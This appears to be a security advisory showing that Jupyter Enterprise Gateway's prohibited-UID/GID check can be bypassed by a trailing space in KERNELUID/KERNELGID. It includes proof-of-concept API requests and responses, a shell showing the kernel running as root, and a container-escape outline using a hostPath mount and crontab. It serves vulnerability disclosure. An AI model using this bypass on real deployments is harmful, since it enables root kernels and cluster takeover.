Summary

Jupyter Enterprise Gateway has a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root). This can be bypassed. It is possible to launch kernels with a prohibited UID and/or GID by using a specially crafted KERNELUID or KERNELGID value.

The feature is described in the documentation:

https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L103-L107

https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L88-L92

https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/deploy-kubernetes.md?plain=1#L769

Details

The prohibiteduids and prohibiteduids are set based of the OS env var EGPROHIBITEDUIDS and EGPROHIBITEDGIDS, and default to the string 0.

https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprisegateway/services/processproxies/container.py#L29-L30

The checks https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprisegateway/services/processproxies/container.py#L113 and https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprisegateway/services/processproxies/container.py#L119 look for the user supplied KERNELUID / KERNELGID string in the prohibiteduids / prohibitedgids strings. These checks can be bypassed by including whitespace, for example the string 0 (trailing space).

The user supplied string is used in the Kubernetes manifest at https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L35 and https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L38 where they are parsed as an integer in the Jinja2 template - which will ignore the whitespace.

PoC

How it is meant to work

Trying 0 gets denied, as expected.

bash xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=pythonkubernetes env:='{"KERNELPODNAME":"bdawg", "KERNELUID": "0", "KERNELGID": "0"}'

HTTP/1.1 403 Kernel's UID value of '0' has been denied via EGPROHIBITEDUIDS! Content-Length: 94 Content-Type: application/json Date: Mon, 14 Jul 2025 12:57:09 GMT Server: TornadoServer/6.4.1 X-Content-Type-Options: nosniff

json { "reason": "Kernel's UID value of '0' has been denied via EGPROHIBITEDUIDS!", "message": "" }

Exploit bypassing the checks

Using 0 with a trailing space, bypasses the check.

bash xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=pythonkubernetes env:='{"KERNELPODNAME":"bdawg", "KERNELUID": "0 ", "KERNELGID": "0 "}'

HTTP/1.1 201 Created Content-Length: 172 Content-Type: application/json Date: Mon, 14 Jul 2025 14:15:19 GMT Location: /api/kernels/17eee032-994f-4dd2-8ade-87169c300a40 Server: TornadoServer/6.4.1 X-Content-Type-Options: nosniff

{ "id": "17eee032-994f-4dd2-8ade-87169c300a40", "name": "pythonkubernetes", "lastactivity": "2025-07-14T14:15:21.468155Z", "executionstate": "starting", "connections": 0 }

The pod is successfully scheduled.

Inspecting the container we can see it is running as root:

bash kubectl exec -it pod/bdawg -- bash

(base) root@bdawg3:~# id uid=0(root) gid=0(root) groups=0(root),100(users)

If we had not supplied the KERNELUID / KERNELGID the container would have been running as UID:GID 1000:100 (jovyan:users).

Impact

This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a hostPath R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.

Organisations running Jupyter Enterprise Gateway to host Jupyter Kernels on at least Kubernetes clusters (I've tested this), and possibly on any other supported container orchestration systems or systems that utilise the KERNELUID and KERNELGID variables with the EGPROHIBITEDUIDS and EGPROHIBITEDGIDS feature.